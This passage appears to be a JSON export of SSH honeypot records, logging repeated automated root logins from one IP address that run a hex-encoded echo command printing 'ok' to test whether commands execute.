  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:48:10.039136+00:00",
  "ended_at": "2026-08-23T08:48:11.178336+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e4dd22c7-8888-4d6d-bd7c-cf9d11d08598",
  "name": "jovial-kindly-curlew",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41934,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:48:07.494844+00:00",
  "ended_at": "2026-08-23T08:48:09.384967+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ed1d6ae1-dbc5-40f0-8886-c2bff40b18e6",
  "name": "languid-bitter-vulture",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41918,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:48:05.060803+00:00",
  "ended_at": "2026-08-23T08:48:06.835776+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "eb40f44d-b844-4122-bea8-1db8b6d0c78b",
  "name": "hidden-loyal-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41902,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:48:02.873969+00:00",
  "ended_at": "2026-08-23T08:48:04.315562+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6089dba6-e8d3-410c-ab37-136fcb0b52b6",
  "name": "gleaming-distant-agouti",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41888,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:48:01.122733+00:00",
  "ended_at": "2026-08-23T08:48:02.093526+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "13abea6e-8d1e-4ad8-8921-e4db9dcf5b05",
  "name": "steady-dusty-bowerbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53786,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:47:58.215099+00:00",
  "ended_at": "2026-08-23T08:48:00.350652+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7fa770d5-50dc-4dfc-98a4-f530cfabc91a",
  "name": "sunlit-coastal-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53784,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:47:56.079998+00:00",
  "ended_at": "2026-08-23T08:47:57.471352+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f544b889-c366-496a-89af-8ed6a5b6640f",
  "name": "somber-barren-sable",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53776,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:47:53.289289+00:00",
  "ended_at": "2026-08-23T08:47:55.277947+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ece21436-6278-4d21-b7aa-d76cc278869e",
  "name": "brave-humble-hoopoe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53774,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:47:51.546327+00:00",
  "ended_at": "2026-08-23T08:47:52.585770+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "adf6cf7d-defd-4e4d-97ba-e045d2e68156",
  "name": "russet-feathered-gecko",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55130,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:47:48.651293+00:00",
  "ended_at": "2026-08-23T08:47:50.829045+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "957a90f0-d197-4b95-affc-7dad5e0e1c24",
  "name": "foggy-quiet-kestrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55118,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:47:46.596026+00:00",
  "ended_at": "2026-08-23T08:47:48.023348+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "721aac43-a5a9-4514-88be-837745758008",
  "name": "vaulted-bold-lorikeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55104,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:47:44.294153+00:00",
  "ended_at": "2026-08-23T08:47:45.756331+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bf72a79c-88f9-48fe-8d6e-1752eba1a293",
  "name": "balmy-dusty-sloth",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55092,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:47:41.709318+00:00",
  "ended_at": "2026-08-23T08:47:43.602930+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "152d6136-cabd-430a-9fdd-c268e9dabb2e",
  "name": "gentle-russet-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55088,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:47:39.803660+00:00",
  "ended_at": "2026-08-23T08:47:41.064082+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "760b3a59-8509-4c26-a658-d48f8118ccc1",
  "name": "smoky-crystal-eider",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48870,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:47:37.243534+00:00",
  "ended_at": "2026-08-23T08:47:38.989116+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "be1fed4e-ec9d-4496-bb78-9402dae67d09",
  "name": "primal-twilight-gadwall",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48858,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:47:34.571125+00:00",
  "ended_at": "2026-08-23T08:47:36.488652+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9b81c462-25c9-4d60-9dd7-b9ba67276955",
  "name": "civil-murky-lorikeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48844,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:47:32.169410+00:00",
  "ended_at": "2026-08-23T08:47:33.832075+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d4feba77-d2fa-48f5-8572-0d7012f1e8a7",
  "name": "brave-oaken-goshawk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48842,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:47:30.098109+00:00",
  "ended_at": "2026-08-23T08:47:31.408171+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d192255d-16db-492b-8889-eef9d0df86b7",
  "name": "amiable-frank-wren",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40316,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:47:27.102179+00:00",
  "ended_at": "2026-08-23T08:47:29.349774+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "60039a2e-8ff9-45d1-bfb5-25016c0a9969",
  "name": "wandering-rapid-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40304,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:47:24.560613+00:00",
  "ended_at": "2026-08-23T08:47:26.404554+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "036dd672-7c4a-4a88-b8b6-a1efe7edf7ea",
  "name": "lanky-crystal-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40300,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:47:22.702310+00:00",
  "ended_at": "2026-08-23T08:47:23.929908+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2918780e-0224-470c-8cc0-46d67e74e0e8",
  "name": "brave-indigo-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40286,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:47:19.668928+00:00",
  "ended_at": "2026-08-23T08:47:21.921807+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3326d533-c9ca-4a97-b376-dcb1945cf840",
  "name": "stoic-pristine-parakeet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "135.125.29.129",
  "src_port": 38818,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T08:47:18.290355+00:00",
  "ended_at": "2026-08-23T08:47:18.955440+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "38325719-9fa2-4c73-aac7-20829a9cb626",
  "name": "gilded-icy-mink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38816,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:47:16.118135+00:00",
  "ended_at": "2026-08-23T08:47:17.983469+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7f83c6ef-a782-4779-aac9-5e8307c77c2d",
  "name": "russet-mindful-warbler",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38800,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:47:14.498111+00:00",
  "ended_at": "2026-08-23T08:47:15.476728+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7d85be3d-b5b8-4632-bf3c-09547163e56c",
  "name": "chilly-cosmic-kingfisher",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38784,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:47:11.887821+00:00",
  "ended_at": "2026-08-23T08:47:13.806880+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a3002f47-32f1-4afc-9ad3-6ac7a3ef3096",
  "name": "dappled-rustic-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38780,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:47:10.187110+00:00",
  "ended_at": "2026-08-23T08:47:11.191817+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "59ce4ab7-b20b-48fa-84f1-442b0c0666dd",
  "name": "jovial-tawny-ermine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48068,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:47:07.359244+00:00",
  "ended_at": "2026-08-23T08:47:09.419137+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2c2b6df3-d8f1-4f38-bf4c-c48a1e5352c3",
  "name": "diligent-woven-rook",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48066,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:47:04.977318+00:00",
  "ended_at": "2026-08-23T08:47:06.643047+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "71ae7b00-9d77-4926-91f7-42b919784d6b",
  "name": "lofty-blithe-sable",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48058,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:47:02.662208+00:00",
  "ended_at": "2026-08-23T08:47:04.246135+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f4741241-2bf7-4c84-8150-88d89011a319",
  "name": "honest-tender-roebuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48056,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:47:00.444713+00:00",
  "ended_at": "2026-08-23T08:47:02.024207+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "986290df-0d6e-472c-90d2-83066d32e53d",
  "name": "coastal-woven-panther",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59334,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:46:58.089645+00:00",
  "ended_at": "2026-08-23T08:46:59.798271+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2f00d399-edc3-46ab-80f6-20a15a32de11",
  "name": "crimson-bashful-eagle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59332,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:46:55.050309+00:00",
  "ended_at": "2026-08-23T08:46:57.261166+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1b24d28a-9ef0-48d7-b134-9bf61f2e515e",
  "name": "verdant-peaty-hamster",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59328,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:46:53.413159+00:00",
  "ended_at": "2026-08-23T08:46:54.297815+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1fe01a92-14ba-41be-a974-86e6722d1f82",
  "name": "murky-inland-opossum",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59312,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:46:50.622968+00:00",
  "ended_at": "2026-08-23T08:46:52.692678+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2c43aef7-f341-4a9e-b8e7-516fe17e02a2",
  "name": "bitter-smooth-lorikeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59516,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:46:48.259631+00:00",
  "ended_at": "2026-08-23T08:46:49.826769+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1c40afce-fcac-432d-8b7e-b349dd88ba11",
  "name": "nautical-wooded-mole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59510,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:46:46.227989+00:00",
  "ended_at": "2026-08-23T08:46:47.418542+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4dbb72d7-8bf1-462c-af11-a1347fc96a3f",
  "name": "primal-vernal-dolphin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59494,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:46:43.501377+00:00",
  "ended_at": "2026-08-23T08:46:45.596045+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e606a57b-5860-4233-9219-24ea03180f47",
  "name": "velvet-calm-polecat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59488,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:46:40.998461+00:00",
  "ended_at": "2026-08-23T08:46:42.811929+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5e7c1874-f69c-46a6-8745-9380e4ea1bbb",
  "name": "mottled-frosty-toucan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40520,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:46:38.688925+00:00",
  "ended_at": "2026-08-23T08:46:40.256668+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8e97d82a-ac73-4866-b2d1-bcb740d01898",
  "name": "cobalt-boreal-macaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40506,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:46:36.267219+00:00",
  "ended_at": "2026-08-23T08:46:37.846819+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2e0d2d10-bc2c-4165-ab5a-9e931c6a4cb0",
  "name": "wandering-solar-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40500,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:46:34.536358+00:00",
  "ended_at": "2026-08-23T08:46:35.499003+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6eb03d72-0851-44c4-a95b-3bdbae200359",
  "name": "vigilant-jovial-opossum",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40496,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:46:31.777860+00:00",
  "ended_at": "2026-08-23T08:46:33.909646+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0a7f6c84-3f9b-403c-a0e9-a122253031aa",
  "name": "crisp-buoyant-alpaca",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40480,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:46:29.317213+00:00",
  "ended_at": "2026-08-23T08:46:31.111448+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "286a0400-65a8-46c6-b9fe-51c86e6271c2",
  "name": "shaded-crimson-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42220,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:46:27.312334+00:00",
  "ended_at": "2026-08-23T08:46:28.660855+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6fc5afb2-7909-4e51-9fef-c32bc1595253",
  "name": "nimble-mighty-ferret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42206,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:46:25.464107+00:00",
  "ended_at": "2026-08-23T08:46:26.597807+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "63d5774c-5fb9-45d5-a366-442c656f33fe",
  "name": "drifting-brisk-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42198,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:46:22.524665+00:00",
  "ended_at": "2026-08-23T08:46:24.689922+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5aa6312d-ec1a-4a7e-91b0-e23e34231c6c",
  "name": "somber-silent-godwit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42196,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:46:20.633157+00:00",
  "ended_at": "2026-08-23T08:46:21.836847+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ff6876c8-9be4-4468-a07f-73f69d29fbc4",
  "name": "coastal-watchful-ferret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58654,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:46:18.031004+00:00",
  "ended_at": "2026-08-23T08:46:20.002361+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5a84ae9f-ac54-4bff-9f62-a802633e0f26",
  "name": "jagged-rugged-fennec",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58638,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
